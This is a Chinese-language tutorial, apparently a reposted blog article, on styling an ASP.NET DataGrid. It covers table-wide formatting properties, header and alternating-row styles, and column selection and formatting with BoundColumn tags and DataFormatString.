DataGrid控件使用技巧

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>

    将数据库内容绑定至DataGrid是非常简单的,我们所要做的就是通过SQL查询来生成一个DataReader对象,将DataGrid的DataSource属性设为这个DataReader对象,然后调用DataGrid对象的DataBind()方法。剩下的事情就是将DataGrid放置到HTML中,它可通过如下代码实现:
  
  
  <ASP:datagrid runat="server" />
  
    就是这么简单。遗憾的是通过这种简单方法生成的DataGrid并不美观。生成的DataGrid仅仅是一个封装了DataReader中所有列和行的简单的HTML表格。
  
    我们希望做到的是仅显示DataReader中的部分列并且设定每一列的格式。并且希望设定诸如背景颜色、字体等可以应用到整个表格的格式。最后,如果能够为每一列加上自定义的标题就更好了。例如设定标题的背景色为不同的颜色或字体为粗体。在这部分我们将研究如何完成所有这些任务!(DataGrid可以做更多的事情,我们将在今后一系列文章中看到如何对数据库结果进行分页显示,允许用户对数据排序等。)
  
    设定DataGrid格式
  
    对于DataGrid我们有两种设定格式的方法。第一种方法是在服务器端代码中通过程序进行设定。例如为了将DataGrid的背景色设定为红色,可使用如下服务器端代码:
  
  <%@ Import Namespace="System.Drawing" %>
  <script runat="server">
  sub Page_Load(sender as Object, e as EventArgs)
  ...
  DataGridID.BackColor = Color.Red
  ...
  end sub
  </script>
  
    另一种设定显示属性的方法是在DataGrid Web控件的标记中进行设定。下面的代码和上面的代码效果是一样的:
  
  <asp:datagrid runat="server" BackColor="Red" />
  
    我个人喜欢后一种方法。我发现在Web控件的标记中设定显示属性比在服务器端代码中设定要简洁。(请注意,对于服务器端代码的方法,需要引入System.Drawing命名空间,才能通过Color.Red对颜色进行引用;对于在Web控件的标记中设定显示属性的方法,仅需写上BackColor="Red"。我觉得后一种方法更可读。)
  
    让我们看一下用于设定DataGrid格式的有用的属性:
  
     BackColor — 设定背景颜色。
  
     Font — 设定DataGrid的字体信息。字体信息包括使用何种字体、字号,是否粗体,斜体等。
  
     CellPadding — 设定HTML表格中单元格内的边距。
  
     CellSpacing — 设定HTML表格中单元格之间的间距。
  
     Width — 设定HTML表格的宽度(可以以像素、百分比等为单位)
  
     HorizontalAlign — 设定表格在页面上的对齐方式(左对齐、右对齐、居中、未设定)
  
    一个使用上述属性而使得表格变得漂亮的例子如下所示。请注意DataGrid的Font属性是一个对象,它指向了FontInfo类,FontInfo类包括Size, Name, Bold, Italic等属性。为了设定Font对象所指向类的属性,必须通过连字符(-)完成。这类似于VB.net和C#语言中表示对象属性的点(.)。
  
  <asp:DataGrid runat="server" id="dgFAQs"
  BackColor="#eeeeee" Width="85%"
  HorizontalAlign="Center"
  Font-Bold="True" Font-Name="Verdana"
  Font-Size="10pt" /> 
   
      通过样式发挥你的想象力
  
    DataGrid Web控件包含一些样式,你将发现通过样式改变DataGrid的外观非常有效。这些样式支持很多属性,包括BackColor、ForeColor、HorizontalAlign和 Width。(参考文档可获得更多信息)。DataGrid包括四类样式:
  
     HeaderStyle — 设定页眉的样式。(页眉指表格的最上面一行,它列出了每列的名称。要显示页眉,需将DataGrid的ShowHeader属性设为True(缺省为True) )
  
     FooterStyle —设定页脚的样式。(页脚指表格的最下面一行。要显示页脚,需将DataGrid的ShowFooter属性True(缺省为False))
  
     ItemStyle — 设定表格中每一行的样式。
  
     AlternatingItemStyle — 设定表格中交替行的样式。通过将ItemStyle和AlternatingItemStyle设为不同的值使得DataGrid便于阅读。(可参考下面的示例)
  
    和设定DataGrid的格式类似,样式可通过程序或DataGrid Web控件的标记进行设定。如上所述,我个人喜欢使用Web控件的标记并且将在示例中使用该方法。第一种方法与通过代码设置DataGrid的格式类似,通过在对象后面加一个点。即如果想设定HeaderStyle的BackColor,可在代码中通过HeaderStyle.BackColor=Color.Red实现。
  
    另一个方法是通过在Web 控件的标记中使用特别的样式块,如下所示:
  
  <ASP:DataGrid runat="server">
  <HeaderStyle BackColor="Red" />
  </asp:DataGrid>
  
    两种方法均可行。我发现嵌入标记的方法便于阅读,特别是当你需要为众多样式设定众多属性时。下面的示例显示如何美化先前的示例:
  
  <asp:DataGrid runat="server" id="dgFAQs"
  BackColor="#eeeeee" Width="85%"
  HorizontalAlign="Center"
  Font-Name="Verdana"
  Font-Size="10pt">
  <HeaderStyle BackColor="Black" ForeColor="White"
  Font-Bold="True" HorizontalAlign="Center" />
  <AlternatingItemStyle BackColor="White" />
  </asp:datagrid>
  
    示例运行结果如下:
  
  
  
   现在我们已经研究了如何使用样式以及如何设定DataGrid控件的全局显示属性(格式),下面还需要研究一个主题:如何对每一个特定列设定样式和显示属性。
  
    但是如何设定DataGrid中列的显示属性?其实并不难,接着读你就知道了。
  
    设定哪些列应该显示
  
    缺省情况下DataGrid在生成的HTML表格中为SQL查询返回的每一列生成一个对应的列。但是在一些情况下仅希望在DataGrid中显示这些列中的一部分列。例如,在我正在进行的示例中,通过调用sp_Popularity存储过程显示了ASPFAQs.com最受欢迎的10个问题。它包含FAQID列,或许我并不希望显示该列。
  
    如果不想在DataGrid中显示数据库查询返回的所有列,必须显式地声明所有希望显示的列。第一步是将DataGrid的AutoGenerateColumns属性设为False。一旦执行完这个操作,就需要通过BoundColumn Web控件设定需显示的列,如下所示:
  
  <asp:DataGrid runat="server" AutoGenerateColumns="False">
  <Columns>
  <asp:BoundColumn DataField="DatabaseColumnName1" ... />
  <asp:BoundColumn DataField="DatabaseColumnName2" ... />
  ...
  <asp:BoundColumn DataField="DatabaseColumnNameN" ... />
  </Columns>
  </asp:datagrid>
  
    对于每一个希望显示的列,需要通过一个包含DataField属性的<asp:BoundColumn ... />标记来指定数据库中需要显示的列。所有这些BoundColumn标记必须包含在Column标记内。(也可通过编程的方式指定这些绑定列,但是它的可读性差,并且需要很多代码!)请注意只有通过BoundColumn标记指定的列才会在DataGrid中显示,你必须指定需要显示的列!
  
    BoundColumn控件的优点在于它包含一些设定格式的属性,包括:
  
     HeaderText — 设定列标题的文字。
  
     FooterText — 设定列尾的文字(记住若要在DataGrid中显示页脚,应将ShowFooter设为True)。
  
     HeaderStyle/FooterStyle/ItemStyle — 包含与DataGrid样式相同的属性。对设定列居中、前景色、背景色等很有用。
  
     DataFormatString — 设置格式命令。(参考下面的示例;参考文档以获得全部的格式化规范)
  
    让我们看一下如何通过使用BoundColumn标记来进一步增强前面的示例。正如前面所提到的,我们不想显示FAQID或FAQCategoryID列,并且我们希望对数字列(ViewCount)和日期/时间列(DateEntered)设定格式。另外,我们希望数字列的值居中。这些均可通过几行易于阅读易于理解的代码完成:
  
  <asp:DataGrid runat="server" id="dgPopularFAQs"
  BackColor="#eeeeee" Width="85%"
  HorizontalAlign="Center"
  Font-Name="Verdana" CellPadding="4"
  Font-Size="10pt" AutoGenerateColumns="False">
  <HeaderStyle BackColor="Black" ForeColor="White"
  Font-Bold="True" HorizontalAlign="Center" />
  <AlternatingItemStyle BackColor="White" />
  
  <Columns>
  <asp:BoundColumn DataField="CatName" HeaderText="Category Name" />
  <asp:BoundColumn DataField="Description" HeaderText="FAQ Description" />
  <asp:BoundColumn DataField="ViewCount" DataFormatString="{0:#,###}"
  HeaderText="Views" ItemStyle-HorizontalAlign="Center" />
  <asp:BoundColumn DataField="SubmittedByName" HeaderText="Author" />
  <asp:BoundColumn DataField="SubmittedByEmail" HeaderText="Author's Email" />
  <asp:BoundColumn DataField="DateEntered" HeaderText="Date Added"
  DataFormatString="{0:MM-dd-yyyy}" />
  </Columns>
  </asp:datagrid>
  
    实际运行结果如下:
  
  
  
  如上例所示,上述代码指定了需要显示的特定列并且应用了特定的格式。请注意DataFormateString看上去很有趣。它的格式始终是{0:format string}。{0: …}指定通过格式化字符串(由…指定的)来格式化第一个参数(第一个参数指由DataReader返回的那个特定列的值)。在示例中我使用了格式化字符串#,###,它在每3个数字前加上一个逗号;格式化字符串MM-dd-yyyy指定通过月、日和年的格式显示日期/时间字段。
  
    结论
  
    花一些时间看一下第一个示例(见DataGrid Web控件深度历险(1))和现在的示例。改进确实很大!请注意所有这些样式和用户界面的改进不需要写一行代码就可实现。我们只是在Web控件的标记中设定了一些属性!事实上如果你正在使用类似Visual Studio .net的编辑器, 你可通过点击一些按钮、选中一些复选框、选择列表框的一些项来设定格式化选项。想象一下在传统ASP中实现同样效果需要编写的那些冗长代码,那会使你爱上ASP.NET,如果你现在还没有的话。 
   
  是否印象深刻?通过几行文本,我们改变了DataGrid的外观,生成了一个居中、具有灰色和漂亮字体的HTML表格。

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值